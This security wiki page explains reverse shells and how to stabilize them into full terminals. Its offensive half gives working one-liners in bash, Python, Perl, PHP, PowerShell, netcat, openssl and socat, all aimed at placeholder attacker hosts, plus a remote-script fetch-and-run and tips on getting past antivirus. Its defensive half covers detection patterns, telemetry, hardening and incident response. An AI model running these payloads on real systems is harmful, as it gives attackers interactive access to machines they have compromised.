Reverse shells and TTY stabilization
A reverse shell is a TCP connection the victim machine opens toward the attacker and to
which it attaches a command interpreter: whatever the attacker types goes into the remote
shell’s stdin, and whatever the shell prints comes back over the same socket. It is the step
that turns one-off command execution (a command injection, a
file upload, an exploited service) into interactive access. This page
is the wiki’s reference for three things: getting the shell reliably, turning it into a real
terminal, and understanding the trail it leaves.
flowchart LR
RCE["Command execution<br/>(cmdi, upload, exploit)"] --> PAY["Payload<br/>sh/bash/python/ps"]
PAY -->|"outbound connection<br/>to LHOST:LPORT"| LST["Listener<br/>nc -lvnp"]
LST --> RAW["Shell without TTY<br/>(pipe)"]
RAW -->|"pty.spawn + stty raw"| TTY["Shell with TTY<br/>(real work)"]
Threat model
Section titled “Threat model”A reverse shell needs exactly two things: command execution on the victim and the ability of the victim to open an outbound connection to your machine. The first comes from the vulnerability; the second is decided by the target’s network, and it is what fails most often.
- Where it fits: right after confirming execution (
id,whoami, apingthat arrives) and before post-exploitation. Without a TTY there is nosudo, nosu, no editors, no interactivessh. - What breaks it: egress filtering, mandatory proxies, EDR blocking child processes of the web server, AMSI on Windows, and the web server itself killing the request on timeout.
- Alternatives when it fails: a bind shell if inbound ports are open, channels over 443 or DNS (see firewall evasion), or a web shell as an intermediate step (see from RCE to shell).
Anatomy
Section titled “Anatomy”The three descriptors
Section titled “The three descriptors”A Unix process is born with three file descriptors: 0 (stdin), 1 (stdout) and 2
(stderr). A reverse shell is nothing more than an interpreter whose three descriptors point
at a socket instead of a terminal. Every payload does the same thing with different syntax:
| Payload | How it redirects the descriptors |
|---|---|
bash -i >& /dev/tcp/H/P 0>&1 |
>& sends 1 and 2 to the socket; 0>&1 makes 0 read from the same place |
Python os.dup2(s.fileno(), f) |
duplicates the socket descriptor over 0, 1 and 2 |
Perl open(STDIN,">&S") |
the same dup2, in Perl syntax |
mkfifo + nc |
the shell’s output goes to nc; nc writes into a FIFO the shell reads as input |
What /dev/tcp really is
Section titled “What /dev/tcp really is”It is not a file on the system. The bash manual spells it out: if the operating system does
not provide those special files, bash emulates them internally when redirecting to
/dev/tcp/host/port. That is why the bash payload only works inside bash: in dash
(the /bin/sh on Debian and Ubuntu) or in busybox’s sh it fails with
cannot create /dev/tcp/...: Directory nonexistent. When the command arrives from a web
application it is run by /bin/sh -c, so the payload is always wrapped:
bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'The outer bash -c is not a “variant”: it is what guarantees the redirection is parsed by
bash and not by the system’s sh.
Pipe versus pseudoterminal
Section titled “Pipe versus pseudoterminal”When the shell hangs off a socket, the kernel does not see a terminal: there is no line discipline, no keyboard signals, no window size. Consequences:
Ctrl+Cis received by your localnc, not by the remote shell: it kills the listener and you lose the session.- No history, arrow keys or tab completion.
sudo,su,ssh,passwdand editors require a TTY and fail (must be run from a terminal,no tty present).bashwarns on startup:no job control in this shell.
Stabilizing the shell means placing a pseudoterminal (PTY) between the socket and the
interpreter: python3 -c 'import pty;pty.spawn("/bin/bash")' or script create a
master/slave pair, the interpreter attaches to the slave (and now sees /dev/pts/N) while the
master stays connected to the socket. What remains is making your terminal stop
interpreting keystrokes (stty raw -echo) so that Ctrl+C, Tab and the arrows travel all
the way to the remote PTY.
Variants
Section titled “Variants”| Variant | Who connects | When |
|---|---|---|
| Reverse shell | the victim, to you | the default: outbound connections are almost always allowed |
| Bind shell | you, to the victim | when the victim cannot reach out but can accept inbound (DMZ, lab network) |
| Encrypted reverse shell | the victim, over TLS | when traffic is inspected or you do not want the credentials you type traveling in the clear |
| Web shell | you, over HTTP | to confirm execution and launch the reverse shell; not to work from |
In msfvenom, a stageless payload (shell_reverse_tcp) carries the whole shell in the
binary and works with any listener; a staged one (shell/reverse_tcp) carries only the
connector and needs the listener (multi/handler) to send the rest. With nc, always use
stageless.
Red Team
Section titled “Red Team”Preparing the listener
Section titled “Preparing the listener”Check which nc you have first: there are three families and they do not accept the same
options.
| Binary | -e |
TLS | Notes |
|---|---|---|---|
| netcat-openbsd (Debian, Ubuntu, Kali by default) | no | no | the one from apt install netcat-openbsd; nc -lvnp works |
netcat-traditional (nc.traditional) |
yes | no | compiled with -DGAPING_SECURITY_HOLE |
ncat (nmap package) |
yes (-e, --sh-exec) |
yes (--ssl) |
the most complete; ncat -lvnp 443 |
# Basic listener (on Kali any user can listen below 1024 since 2021.2)nc -lvnp 443
# Listener that logs the session to a file (useful for the report)nc -lvnp 443 | tee session-$(date +%F-%H%M).log
# Encrypted listener with a temporary certificate (ncat generates one on the fly)ncat --ssl -lvnp 443Do not put rlwrap in front of the listener if you are going to stabilize the shell:
rlwrap interprets keystrokes before they reach the remote PTY and breaks stty raw -echo.
Keep it for shells you will not stabilize (Windows without ConPtyShell).
Use a common outbound port (443, 80, 53, 8080): egress filtering usually allows them and
the traffic blends in. If the target is reached through a lab VPN, LHOST is your IP on that
interface (ip -4 a show tun0), not your LAN address.
Linux payloads
Section titled “Linux payloads”LHOST/LPORT are the listener’s IP and port. Before choosing, check what is available:
which bash python3 python perl php nc ncat socat busybox 2>/dev/null# bash (requires bash; wrapped so dash does not run it)bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'
# sh + mkfifo: works with any nc, no -e neededrm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT > /tmp/f
# nc with -e (traditional or ncat)nc -e /bin/sh LHOST LPORTncat -e /bin/sh LHOST LPORT
# busybox (routers, minimal containers): its nc usually does have -ebusybox nc LHOST LPORT -e /bin/sh
# python3python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/bash","-i"])'
# perlperl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# php (if fsockopen and proc_open are not in disable_functions)php -r '$s=fsockopen("LHOST",LPORT);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);'The bash, mkfifo, Python, Perl and PHP payloads above were run against a local listener while writing this page; the busybox one was not (unverified in this environment).
When the payload travels inside an HTTP request, &, >, | and quotes break. The two usual
ways out (Base64-encode it, or serve a script and fetch it with curl … | bash) are covered in
from RCE to shell.
Encrypted reverse shell
Section titled “Encrypted reverse shell”With nc everything travels in the clear: any IDS or tcpdump along the way sees the
commands and the passwords you type. Two options that need nothing uploaded to the victim:
# Option A: ncat (attacker) + ncat (victim)ncat --ssl -lvnp 443 # attackerncat --ssl -e /bin/bash LHOST 443 # victim
# Option B: openssl, present almost everywhereopenssl req -x509 -newkey rsa:2048 -keyout k.pem -out c.pem -days 7 -nodes -subj /CN=x # attackeropenssl s_server -quiet -key k.pem -cert c.pem -port 443 # attackerrm -f /tmp/s; mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect LHOST:443 > /tmp/s # victimOption B was tested against a local s_server while writing this page. Encryption hides the
content, not the connection: the process tree (sh child of openssl child of www-data)
remains a clear indicator for the defenders.
Windows payloads
Section titled “Windows payloads”Windows has no /dev/tcp and no mkfifo; the usual interpreter is PowerShell and the
connection is opened with System.Net.Sockets.TCPClient:
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('LHOST',LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"This one-liner is the one AMSI and Defender know by heart: an up-to-date Windows blocks it
as is. The options are to pass it encoded (-EncodedCommand, in UTF-16LE), obfuscate it, or
change vector (see Windows evasion). If you can upload
binaries, nc.exe (the ncat build for Windows) with -e cmd.exe avoids PowerShell entirely.
For a truly interactive shell on Windows (editors, Ctrl+C, colors) the reference is
ConPtyShell: it uses the Windows pseudoconsole
API (CreatePseudoConsole), available since Windows 10 1809 / Server 2019. The listener is a
plain nc with the terminal in raw mode:
# attacker: terminal in raw mode and the size sent on connectstty raw -echo; (stty size; cat) | nc -lvnp 3001# victim (the .ps1 served from your machine or already uploaded)IEX(IWR http://LHOST/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell LHOST 3001When you are done, recover your terminal with reset. Without ConPtyShell,
rlwrap nc -lvnp 443 at least gives you history and arrow keys over a PowerShell or cmd
shell.
Stabilizing the TTY (Linux)
Section titled “Stabilizing the TTY (Linux)”Full sequence; each line says where it runs:
python3 -c 'import pty;pty.spawn("/bin/bash")' # victim: creates the PTY# Ctrl+Z # your machine: suspends ncstty raw -echo; fg # your machine: raw + back to nc (press Enter)export TERM=xterm SHELL=/bin/bash # victim: so clear, vim and tmux workstty rows 40 columns 160 # victim: whatever "stty size" says in your terminalWithout Python:
script -qc /bin/bash /dev/null # util-linux, almost always present/usr/bin/script -qc /bin/bash /dev/null # if /usr/bin is not in www-data's PATHWith socat on both ends (if it is not on the victim, upload the static binary) you get a
full PTY in one step, resizing included:
socat file:$(tty),raw,echo=0 tcp-listen:443 # attackersocat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:443 # victimCheck it worked with tty (it must return /dev/pts/N) and with a Ctrl+C inside a
sleep 10: if the remote prompt comes back, the PTY is fine. If at any point your local
terminal ends up corrupted (no echo, odd line breaks), reset fixes it.
When the shell never comes back
Section titled “When the shell never comes back”Order of checks, from most to least frequent:
- Wrong
LHOST. In a lab with a VPN the IP is the one ontun0. Check withip -4 aand resend the payload. - No egress to your port. From the victim, if you have command output:
curl -m 3 http://LHOST:443orbash -c 'echo > /dev/tcp/LHOST/443'. On your machine,sudo tcpdump -ni tun0 'tcp port 443 or icmp'tells you whether anything arrives. If the SYN arrives and there is no shell, the problem is the payload; if nothing arrives, it is the network: try 80, 53 or 8080, or a DNS/HTTP channel (see pivoting). shis running it, notbash. The symptom isDirectory nonexistent. Wrap it inbash -c '…'or use themkfifopayload.- The payload breaks on the way. Special characters in HTTP, quotes inside quotes, the
+in Base64 turned into a space. Encode it or serve a script. - The request dies on timeout and takes the shell with it. Launch the payload detached:
setsid bash -c '…' &ornohup … &. - The binary is missing.
ncwithout-e, Python 2 instead of 3,phpwithdisable_functions. Change payload before changing port. - AV/EDR (especially on Windows). Read Windows evasion before insisting on the same one-liner.
Bind shell
Section titled “Bind shell”Useful when the victim accepts inbound connections but cannot open them (or when you want to reconnect without exploiting again). Leave a listener on the victim and connect yourself:
# victimrm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f# attackernc VICTIM 4444A newly opened port is visible to anyone scanning the machine and to the defenders’ inventory: on an engagement, write it down and close it when you finish.
Researcher workflow
Section titled “Researcher workflow”- Confirm execution and network egress before burning attempts (
id,curlto your machine). - Pick the payload by what is installed, not by habit.
- Listener without
rlwrap, on a common outbound port, with session logging. - Launch the payload detached from the request.
- Stabilize (PTY,
stty raw,TERM, size) before doing anything else. - Take notes: time, port, payload, user obtained and paths of any file you left behind (FIFO
in
/tmp, scripts, web shell). It goes in the report and in the cleanup.
nc/ncat/socat: listeners and clients;socatfor a full PTY;ncatfor TLS.penelope,pwncat-vl: shell handlers with automatic upgrade.msfvenom+multi/handler: binary and staged payloads (see Metasploit).- ConPtyShell: a real PTY on Windows.
- revshells.com: payload generator by language and encoding.
Impact and chaining
Section titled “Impact and chaining”The reverse shell is not the finding: it is the proof that the previous vulnerability gives interactive execution. From there, Linux enumeration or Windows enumeration, file transfer to bring in tools, and pivoting to reach the internal network. In the report, the shell demonstrates impact; the technical detail that matters is how the initial execution was obtained.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”What gives a reverse shell away is the relationship between processes and the outbound connection, not the content (which may be encrypted):
- A server process (
java,php-fpm,apache2,nginx,node,w3wp.exe,tomcat) spawning a childsh,bash,cmd.exeorpowershell.exe. Sigma rules: Shell Process Spawned by Java.EXE (dff1e1cc-d3fd-47c8-bfc2-aeb878a754c0) and Linux Reverse Shell Indicator (83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871:bashwith a connection to a non-local IP). bash,sh,python,perlorphpwith an outbound TCP connection of their own: an interpreter should not hold sockets to the Internet.- Command lines containing
/dev/tcp/,mkfifo,nc -e,socket.socket,TCPClient,pty.spawn. - Traffic to 443 that is not TLS (no handshake) or TLS with a freshly generated self-signed certificate toward an IP with no reputation.
- On Windows, PowerShell with
-EncodedCommandor-nop -w hiddenlaunched by a process that is not a user console.
Telemetry and sources
Section titled “Telemetry and sources”- Linux:
auditdwith rules onexecveandconnect(or Sysmon for Linux, EID 1 and 3); the EDR supplies the process tree with the service account (www-data,tomcat). - Windows: Sysmon EID 1 (process creation, with
ParentImage) and EID 3 (network connection); Script Block Logging (EID 4104) to see the decoded one-liner. - Network: NetFlow/Zeek for long outbound connections from servers that should not reach out; proxy logs for whatever does not go through it.
Hardening
Section titled “Hardening”- Default-deny egress on servers: only what they need (repositories, specific APIs) and through the proxy. It is the single measure that cuts the most reverse shells.
- Web services in containers or under AppArmor/SELinux profiles that keep the process from executing interpreters or opening outbound sockets.
- PHP with
disable_functionsforexec,system,proc_open,popen,fsockopen. - Windows: PowerShell Constrained Language Mode, ASR rules blocking child processes of Office and web servers, App Control for Business.
- Remove unnecessary tools from images (
nc,socat, compilers).
Response
Section titled “Response”- Isolate the host’s network (block the destination IP and port at the firewall) without powering it off: the process and its descriptors are still there for analysis.
- Capture the process tree and open sockets (
ss -tanp,lsof -p), and the shell history if there is one. - Look for the entry vulnerability in the web server logs in the window before the connection.
- Check for persistence: cron, services, SSH keys, web shells in the webroot.
CVEs and real cases
Section titled “CVEs and real cases”- CVE-2022-26134 (Atlassian Confluence, OGNL). Volexity documented in-the-wild zero-day
exploitation in May 2022: unauthenticated command injection, JSP web shells on disk and
reverse shells. Detections at the time relied on
javaspawningbash. - CVE-2023-46805 + CVE-2024-21887 (Ivanti Connect Secure). Chained for unauthenticated RCE; CISA’s joint advisory AA24-060B describes web shells and persistence as post-exploitation.
- CVE-2021-44228 (Log4Shell). The canonical java → sh case: the Sigma rule for Java child processes cites this campaign as its reference.
Testing checklist
Section titled “Testing checklist”- Execution confirmed with a command that needs no network (
id,whoami). - Egress confirmed toward your port (
tcpdumpon your side). - Correct
LHOSTfor the lab interface. - Payload chosen by the victim’s binaries; wrapped in
bash -cif it uses/dev/tcp. - Listener without
rlwrapand with session logging. - Shell stabilized:
ttyreturns/dev/pts/N,Ctrl+Cdoes not kill it,TERMand size set. - Temporary files (FIFO, scripts, web shell) noted and removed when done.
References
Section titled “References”- Bash Reference Manual, Redirections (
/dev/tcp,/dev/udp): https://www.gnu.org/software/bash/manual/html_node/Redirections.html - Ncat Reference Guide, SSL: https://nmap.org/ncat/guide/ncat-ssl.html
- socat(1): http://www.dest-unreach.org/socat/doc/socat.html
- ConPtyShell (antonioCoco): https://github.com/antonioCoco/ConPtyShell
- penelope (brightio): https://github.com/brightio/penelope
- MITRE ATT&CK T1059.004 Unix Shell: https://attack.mitre.org/techniques/T1059/004/
- MITRE ATT&CK T1095 Non-Application Layer Protocol: https://attack.mitre.org/techniques/T1095/
- Sigma, Linux Reverse Shell Indicator: https://github.com/SigmaHQ/sigma/blob/master/rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml
- Sigma, Shell Process Spawned by Java.EXE: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_java_susp_child_process_2.yml
- Volexity, Zero-Day Exploitation of Atlassian Confluence (Jun 2, 2022): https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/
- CISA AA24-060B, Threat Actors Exploit Multiple Vulnerabilities in Ivanti Connect Secure and Policy Secure Gateways (Feb 29, 2024): https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-060b